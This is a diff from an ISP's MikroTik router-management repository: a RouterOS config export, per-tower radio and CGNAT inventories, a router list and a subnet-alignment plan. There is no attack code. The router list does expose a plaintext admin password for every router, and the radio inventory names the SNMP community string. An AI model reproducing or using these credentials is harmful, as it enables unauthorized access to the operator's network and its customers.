\n|_| \\_|\\___|\\__| \\_/\\_/ \\___/|_| |_|\\_\\___/\
|
||||||
|
\n\
|
||||||
|
\n###############################################################\
|
||||||
|
\n# Welcome to Verona Networks #\
|
||||||
|
\n# All connections are monitored and recorded #\
|
||||||
|
\n# Disconnect IMMEDIATELY if you are not an authorized user! #\
|
||||||
|
\n###############################################################\
|
||||||
|
\n\
|
||||||
|
\n" show-at-login=no
|
||||||
|
/system ntp client
|
||||||
|
set enabled=yes
|
||||||
|
/system ntp client servers
|
||||||
|
add address=ntp.vntx.net
|
||||||
|
add address=0.us.pool.ntp.org
|
||||||
|
/system package update
|
||||||
|
set channel=long-term
|
||||||
|
/system routerboard settings
|
||||||
|
# Firmware upgraded successfully, please reboot for changes to take effect!
|
||||||
|
set auto-upgrade=yes
|
||||||
|
/system scheduler
|
||||||
|
add interval=5m name=remove_hotspot on-event=\
|
||||||
|
"/ip hotspot host remove [/ip hotspot host find where !authorized]" \
|
||||||
|
policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive \
|
||||||
|
start-time=startup
|
||||||
|
add name=reboot on-event="/system reboot" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
|
||||||
|
2025-01-21 start-time=03:25:00
|
||||||
|
add interval=1d name="disable proxy" on-event="/ip proxy set enabled=no\r\
|
||||||
|
\n" policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
|
||||||
|
start-date=2020-04-11 start-time=04:00:00
|
||||||
|
/system script
|
||||||
|
add dont-require-permissions=no name=backup owner=admin policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive source="/export\
|
||||||
|
\_file=backup.rsc\
|
||||||
|
\n\
|
||||||
|
\n;\r\
|
||||||
|
\n/tool e-mail send to=\"graham@vntx.net\" subject=(\"mtik backup \" . [/s\
|
||||||
|
ystem identity get name]) file=backup.rsc;\r\
|
||||||
|
\n\
|
||||||
|
\n:log info \"Backup email sent.\";\
|
||||||
|
\n"
|
||||||
|
add dont-require-permissions=no name=rogue-dhcp owner=admin policy=\
|
||||||
|
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=\
|
||||||
|
":log warning message=\"Rogue DHCP server detected!\""
|
||||||
|
/system watchdog
|
||||||
|
set auto-send-supout=yes ping-start-after-boot=1h send-email-from=\
|
||||||
|
support@vntx.net send-email-to=graham@vntx.net send-smtp-server=\
|
||||||
|
204.110.191.236 watchdog-timer=no
|
||||||
|
/tool e-mail
|
||||||
|
set certificate-verification=no from=NewHope@vntx.net server=\
|
||||||
|
smtp.sendgrid.net tls=starttls user=veronanetworks
|
||||||
|
/tool graphing interface
|
||||||
|
add
|
||||||
|
/tool graphing queue
|
||||||
|
add
|
||||||
|
/tool graphing resource
|
||||||
|
add
|
||||||
316
mikrotik-tool/radios.yaml
Normal file
316
mikrotik-tool/radios.yaml
Normal file
|
|
@ -0,0 +1,316 @@
|
||||||
|
# Wireless devices and customer subnet info per tower:
|
||||||
|
# - access_points: customer-facing APs in the top /24 of the router's
|
||||||
|
# 10.10.x.0/20 mgmt subnet (per /Users/graham/dev/network/CLAUDE.md:
|
||||||
|
# "for subnet X.Y.Z.0/20, APs are in X.Y.(Z+15).0/24").
|
||||||
|
# - backhaul_radios: tower-to-tower link radios with a managed IP in
|
||||||
|
# the link's 10.250.1.x/29 subnet. Site assignment uses the
|
||||||
|
# "closest IP to this site's router IP" rule.
|
||||||
|
# - cgnat_subnet: the customer CGNAT (RFC 6598) /20 or /22 the router
|
||||||
|
# hands to PPPoE clients, with the router's gateway IP.
|
||||||
|
#
|
||||||
|
# Names are the actual SNMP `sysName.0` (1.3.6.1.2.1.1.5.0) values
|
||||||
|
# pulled with the `kdyyJrT0Mm` community. Most radios only respond to
|
||||||
|
# SNMP v1; some also accept v2c. Casing/spacing is preserved as-is from
|
||||||
|
# the radio (e.g. "Climax NW" has two spaces, "lowry nw" is lowercase
|
||||||
|
# — that's the actual configured hostname on the device).
|
||||||
|
#
|
||||||
|
# Last refreshed: 2026-05-07.
|
||||||
|
sites:
|
||||||
|
verona:
|
||||||
|
router: 10.254.254.101
|
||||||
|
mgmt_subnet: 10.10.0.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.0.0/22, gateway: 100.64.3.254}
|
||||||
|
- {subnet: 100.64.12.0/22, gateway: 100.64.15.254}
|
||||||
|
- {subnet: 100.64.0.10/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.16/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.17/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.18/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.23/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.11/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.26/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.22/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.21/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.48/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.34/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.20/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.25/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.40/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.41/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.27/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.51/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.39/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.14/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.42/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.32/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.29/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.30/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.44/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.24/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.7/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.15/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.6/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.37/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.31/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.45/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.53/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.28/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.12/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.13/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.5/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.8/32, gateway: 100.64.15.253}
|
||||||
|
- {subnet: 100.64.0.56/32, gateway: 100.64.15.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.15.1, mac: "70:A7:41:4C:A2:E7", name: "Verona 5AC Horn W"}
|
||||||
|
- {ip: 10.10.15.2, mac: "AC:8B:A9:C4:4C:F0", name: "Verona 5AC Horn NW"}
|
||||||
|
- {ip: 10.10.15.11, mac: "78:45:58:A2:EC:E4", name: "Verona NW"}
|
||||||
|
- {ip: 10.10.15.12, mac: "78:45:58:A2:EC:6F", name: "Verona NE"}
|
||||||
|
- {ip: 10.10.15.13, mac: "70:A7:41:4C:D5:16", name: "Verona S"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.26, mac: "7A:8A:20:5F:48:AA", name: "verona to climax", link: "verona<->climax AF11"}
|
||||||
|
altoga:
|
||||||
|
parent_router: 10.254.254.101
|
||||||
|
mgmt_subnet: 10.10.80.0/20
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.95.20, mac: "04:18:D6:4C:BD:D3", name: "Altoga SW"}
|
||||||
|
- {ip: 10.10.95.21, mac: "AC:8B:A9:C4:57:5F", name: "Altoga East"}
|
||||||
|
- {ip: 10.10.95.22, mac: "70:A7:41:4C:A3:84", name: "Altoga North"}
|
||||||
|
climax:
|
||||||
|
router: 10.254.254.102
|
||||||
|
mgmt_subnet: 10.10.16.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.4.0/22, gateway: 100.64.7.254}
|
||||||
|
- {subnet: 100.64.7.234/32, gateway: 100.64.7.235}
|
||||||
|
- {subnet: 100.64.7.206/32, gateway: 100.64.7.207}
|
||||||
|
- {subnet: 100.64.7.200/32, gateway: 100.64.7.188}
|
||||||
|
- {subnet: 100.64.7.95/32, gateway: 100.64.7.219}
|
||||||
|
- {subnet: 100.64.7.39/32, gateway: 100.64.7.27}
|
||||||
|
- {subnet: 100.64.7.51/32, gateway: 100.64.7.29}
|
||||||
|
- {subnet: 100.64.7.52/32, gateway: 100.64.7.217}
|
||||||
|
- {subnet: 100.64.7.53/32, gateway: 100.64.7.212}
|
||||||
|
- {subnet: 100.64.7.54/32, gateway: 100.64.7.76}
|
||||||
|
- {subnet: 100.64.7.93/32, gateway: 100.64.7.7}
|
||||||
|
- {subnet: 100.64.7.204/32, gateway: 100.64.7.115}
|
||||||
|
- {subnet: 100.64.7.48/32, gateway: 100.64.7.9}
|
||||||
|
- {subnet: 100.64.7.59/32, gateway: 100.64.7.41}
|
||||||
|
- {subnet: 100.64.7.63/32, gateway: 100.64.7.49}
|
||||||
|
- {subnet: 100.64.7.169/32, gateway: 100.64.7.97}
|
||||||
|
- {subnet: 100.64.7.223/32, gateway: 100.64.7.30}
|
||||||
|
- {subnet: 100.64.7.227/32, gateway: 100.64.7.46}
|
||||||
|
- {subnet: 100.64.7.247/32, gateway: 100.64.7.2}
|
||||||
|
- {subnet: 100.64.7.244/32, gateway: 100.64.7.13}
|
||||||
|
- {subnet: 100.64.7.144/32, gateway: 100.64.7.25}
|
||||||
|
- {subnet: 100.64.7.198/32, gateway: 100.64.7.16}
|
||||||
|
- {subnet: 100.64.4.1/32, gateway: 100.64.7.186}
|
||||||
|
- {subnet: 100.64.7.90/32, gateway: 100.64.7.12}
|
||||||
|
- {subnet: 100.64.7.133/32, gateway: 100.64.7.8}
|
||||||
|
- {subnet: 100.64.7.145/32, gateway: 100.64.7.14}
|
||||||
|
- {subnet: 100.64.7.62/32, gateway: 100.64.7.3}
|
||||||
|
- {subnet: 100.64.7.184/32, gateway: 100.64.7.10}
|
||||||
|
- {subnet: 100.64.7.21/32, gateway: 100.64.7.36}
|
||||||
|
- {subnet: 100.64.7.250/32, gateway: 100.64.7.5}
|
||||||
|
- {subnet: 100.64.7.55/32, gateway: 100.64.7.1}
|
||||||
|
- {subnet: 100.64.7.249/32, gateway: 100.64.7.4}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.31.11, mac: "F4:92:BF:BE:73:CD", name: "Climax NW"}
|
||||||
|
- {ip: 10.10.31.12, mac: "00:27:22:28:5F:A1", name: "Climax 5.8n NE"}
|
||||||
|
- {ip: 10.10.31.13, mac: "80:2A:A8:FC:1D:AE", name: "Climax South"}
|
||||||
|
- {ip: 10.10.31.30, mac: "00:04:56:D5:03:74", name: "Climax NW"}
|
||||||
|
- {ip: 10.10.31.31, mac: "00:04:56:23:DD:02", name: "climax ne"}
|
||||||
|
- {ip: 10.10.31.40, mac: "00:27:22:02:C6:3D", name: "PR 900E"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.29, mac: "1A:E8:29:1E:52:16", name: "climax to verona", link: "verona<->climax AF11"}
|
||||||
|
- {ip: 10.250.1.93, mac: "82:2A:A8:CF:A6:6A", name: "Climax-380 AF24", link: "climax<->core AF24"}
|
||||||
|
culleoka:
|
||||||
|
router: 10.254.254.104
|
||||||
|
mgmt_subnet: 10.10.96.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.24.0/22, gateway: 100.64.27.254}
|
||||||
|
- {subnet: 100.64.25.6/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.7/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.9/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.11/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.12/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.13/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.14/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.15/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.17/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.18/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.19/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.28/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.49/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.3/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.29/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.31/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.42/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.61/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.16/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.20/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.47/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.36/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.33/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.46/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.53/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.32/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.26/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.48/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.22/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.25/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.24/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.10/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.30/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.43/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.45/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.21/32, gateway: 100.64.27.253}
|
||||||
|
- {subnet: 100.64.25.27/32, gateway: 100.64.27.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}
|
||||||
|
- {ip: 10.10.111.2, mac: "78:45:58:A0:03:FC", name: "Culleoka SW AC2"}
|
||||||
|
- {ip: 10.10.111.11, mac: "78:45:58:A2:EC:F9", name: "Culleoka SE"}
|
||||||
|
- {ip: 10.10.111.12, mac: "78:45:58:A2:A9:0A", name: "Culleoka sw 120"}
|
||||||
|
- {ip: 10.10.111.14, mac: "44:D9:E7:A8:58:C9", name: "Culleoka North UBNT"}
|
||||||
|
- {ip: 10.10.111.30, mac: "00:04:56:D7:AD:0A", name: "culleoka epmp N"}
|
||||||
|
- {ip: 10.10.111.32, mac: "00:04:56:D7:A9:86", name: "Culleoka ePMP SW"}
|
||||||
|
- {ip: 10.10.111.33, mac: "58:C1:7A:73:BF:9E", name: "Culleoka NE"}
|
||||||
|
- {ip: 10.10.111.34, mac: "58:C1:7A:71:C5:25", name: "Culleoka ePMP SE"}
|
||||||
|
- {ip: 10.10.111.35, mac: "58:C1:7A:75:46:6E", name: "Culleoka ePMP NW"}
|
||||||
|
- {ip: 10.10.111.50, mac: "DC:9F:DB:6E:A6:24", name: "Clayton Estates AP "}
|
||||||
|
- {ip: 10.10.111.60, mac: "44:D9:E7:5A:A8:0E", name: "clayton to culleoka"}
|
||||||
|
- {ip: 10.10.111.61, mac: "78:8A:20:EC:76:DC", name: "culleoka to clayton"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.10, mac: "7A:8A:20:5F:49:7A", name: null, link: "climax<->culleoka AF11 (disabled)"}
|
||||||
|
- {ip: 10.250.1.50, mac: "1A:E8:29:1E:B1:EA", name: "Culleoka to 380 11g", link: "culleoka<->core AF11"}
|
||||||
|
newhope:
|
||||||
|
router: 10.254.254.108
|
||||||
|
mgmt_subnet: 10.10.128.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.16.0/22, gateway: 100.64.19.254}
|
||||||
|
- {subnet: 100.64.19.20/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.19/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.18/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.17/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.16/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.15/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.13/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.12/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.9/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.8/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.7/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.6/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.5/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.3/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.10/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.14/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.4/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.11/32, gateway: 100.64.19.253}
|
||||||
|
- {subnet: 100.64.19.2/32, gateway: 100.64.19.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.143.11, mac: "58:C1:7A:73:5B:7E", name: "New Hope SE"}
|
||||||
|
- {ip: 10.10.143.12, mac: "00:04:56:21:E7:B8", name: "New Hope NE"}
|
||||||
|
- {ip: 10.10.143.13, mac: "58:C1:7A:73:5B:EA", name: "new hope nw"}
|
||||||
|
- {ip: 10.10.143.14, mac: "58:C1:7A:73:5C:9E", name: "new hope sw"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.58, mac: "7A:8A:20:5F:49:EB", name: "New Hope to Core af11x", link: "newhope<->core AF11"}
|
||||||
|
- {ip: 10.250.1.109, mac: "82:2A:A8:CF:58:E0", name: "new hope to lowry crossing", link: "lowry<->newhope AF24"}
|
||||||
|
lowry:
|
||||||
|
router: 10.254.254.109
|
||||||
|
mgmt_subnet: 10.10.144.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.144.0/20, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.80/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.78/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.74/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.70/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.77/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.69/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.84/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.79/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.75/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.73/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.82/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.81/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.72/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.76/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.83/32, gateway: 100.64.159.254}
|
||||||
|
- {subnet: 100.64.158.71/32, gateway: 100.64.159.254}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.159.10, mac: "00:04:56:D7:62:F6", name: "Lowry_Crossing_Omni"}
|
||||||
|
- {ip: 10.10.159.11, mac: "00:04:56:C4:FE:9E", name: "Lowry Crossing NE"}
|
||||||
|
- {ip: 10.10.159.12, mac: "58:C1:7A:71:A7:A9", name: "Lowry Crossing N"}
|
||||||
|
- {ip: 10.10.159.13, mac: "58:C1:7A:75:4D:66", name: "lowry nw"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.106, mac: "82:2A:A8:CF:B4:5F", name: "Lowry Crossing to New Hope", link: "lowry<->newhope AF24"}
|
||||||
|
"982":
|
||||||
|
router: 10.254.254.110
|
||||||
|
mgmt_subnet: 10.10.48.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.48.0/20, gateway: 100.64.63.254}
|
||||||
|
- {subnet: 100.64.62.180/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.199/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.191/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.194/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.188/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.184/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.181/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.177/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.189/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.186/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.185/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.190/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.187/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.197/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.193/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.198/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.195/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.183/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.196/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.179/32, gateway: 100.64.63.253}
|
||||||
|
- {subnet: 100.64.62.178/32, gateway: 100.64.63.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.63.1, mac: "D0:21:F9:F0:F5:23", name: "982-1"}
|
||||||
|
- {ip: 10.10.63.2, mac: "F4:92:BF:2F:29:7E", name: "982-2"}
|
||||||
|
- {ip: 10.10.63.3, mac: "F4:92:BF:2F:29:93", name: "982-3"}
|
||||||
|
- {ip: 10.10.63.4, mac: "F4:92:BF:2F:29:8F", name: "982-4"}
|
||||||
|
- {ip: 10.10.63.5, mac: "F4:92:BF:2F:1C:0D", name: "982-5"}
|
||||||
|
- {ip: 10.10.63.6, mac: "F4:92:BF:2F:08:38", name: "982-6"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.34, mac: "68:D7:9A:A2:03:95", name: "982_380_60 LR", link: "982<->core 60GHz"}
|
||||||
|
"494":
|
||||||
|
router: 10.254.254.111
|
||||||
|
mgmt_subnet: 10.10.160.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.160.0/20, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.214/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.212/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.211/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.210/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.209/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.207/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.205/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.204/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.203/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.202/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.208/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.206/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.213/32, gateway: 100.64.175.254}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.175.10, mac: "78:8A:20:AC:C5:32", name: "494-Rocket 2AC Prism"}
|
||||||
|
- {ip: 10.10.175.11, mac: "58:C1:7A:75:4D:F2", name: "494 ePMP Omni"}
|
||||||
|
core:
|
||||||
|
router: 10.254.254.253
|
||||||
|
mgmt_subnet: 10.10.64.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.8.0/22, gateway: 100.64.11.254}
|
||||||
|
- {subnet: 100.64.11.153/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.150/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.149/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.148/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.146/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.152/32, gateway: 100.64.11.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.79.10, mac: "58:C1:7A:73:63:2E", name: "380"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.37, mac: "F4:92:BF:DE:F5:E4", name: "380_982_ 60 LR", link: "982<->core 60GHz"}
|
||||||
|
- {ip: 10.250.1.53, mac: "1A:E8:29:1E:AD:A3", name: "380 to Culleoka 11g", link: "culleoka<->core AF11"}
|
||||||
|
- {ip: 10.250.1.61, mac: "7A:8A:20:5F:4A:68", name: "380 to New Hope", link: "newhope<->core AF11"}
|
||||||
|
- {ip: 10.250.1.90, mac: "82:2A:A8:CF:96:AF", name: "Core to climax", link: "climax<->core AF24"}
|
||||||
33
mikrotik-tool/routers.yaml
Normal file
33
mikrotik-tool/routers.yaml
Normal file
|
|
@ -0,0 +1,33 @@
|
||||||
|
# Default credentials applied to every router unless overridden per-entry.
|
||||||
|
#
|
||||||
|
# NOTE: the export command writes a file to router flash via "/export file=...",
|
||||||
|
# which requires the `ftp` policy in addition to `read` + `api`. The default
|
||||||
|
# RouterOS `read` group does NOT include `ftp`, so the read-only `grahamro`
|
||||||
|
# account in CLAUDE.md will fail with "not enough permissions (9)".
|
||||||
|
#
|
||||||
|
# Either use an account in a group with policies = read,api,ftp (or full), or
|
||||||
|
# extend the existing read group: /user group set read add-policy=ftp
|
||||||
|
defaults:
|
||||||
|
username: graham
|
||||||
|
password: ctg5qyn3uhe*UBP8rmw
|
||||||
|
port: 8729 # MikroTik API-SSL
|
||||||
|
|
||||||
|
routers:
|
||||||
|
- name: verona
|
||||||
|
host: 10.254.254.101
|
||||||
|
- name: climax
|
||||||
|
host: 10.254.254.102
|
||||||
|
- name: culleoka
|
||||||
|
host: 10.254.254.104
|
||||||
|
- name: newhope
|
||||||
|
host: 10.254.254.108
|
||||||
|
- name: lowry
|
||||||
|
host: 10.254.254.109
|
||||||
|
- name: "982"
|
||||||
|
host: 10.254.254.110
|
||||||
|
- name: "494"
|
||||||
|
host: 10.254.254.111
|
||||||
|
- name: core
|
||||||
|
host: 10.254.254.253
|
||||||
|
- name: edge
|
||||||
|
host: 10.254.254.254
|
||||||
231
mikrotik-tool/subnets.md
Normal file
231
mikrotik-tool/subnets.md
Normal file
|
|
@ -0,0 +1,231 @@
|
||||||
|
# CGNAT /20 alignment plan
|
||||||
|
|
||||||
|
## Goal
|
||||||
|
|
||||||
|
Make every router's CGNAT /20 base match its mgmt /20 base on the third
|
||||||
|
octet, so `10.10.X.0/20` is paired with `100.64.X.0/20` everywhere.
|
||||||
|
|
||||||
|
The **mgmt** subnets are already correctly aligned at /20. Only the
|
||||||
|
**CGNAT** ranges need to move (and in three cases, widen).
|
||||||
|
|
||||||
|
## Target state
|
||||||
|
|
||||||
|
| Router | Mgmt /20 | CGNAT today | CGNAT target | New gateway |
|
||||||
|
|----------|------------------|--------------------|--------------------|-----------------|
|
||||||
|
| verona | 10.10.0.0/20 | 100.64.0.0/22 | 100.64.0.0/20 | 100.64.3.254 (no change \*) |
|
||||||
|
| altoga\* | 10.10.80.0/20 | 100.64.12.0/22 | 100.64.80.0/20 | 100.64.95.254 |
|
||||||
|
| climax | 10.10.16.0/20 | 100.64.4.0/22 | 100.64.16.0/20 | 100.64.31.254 |
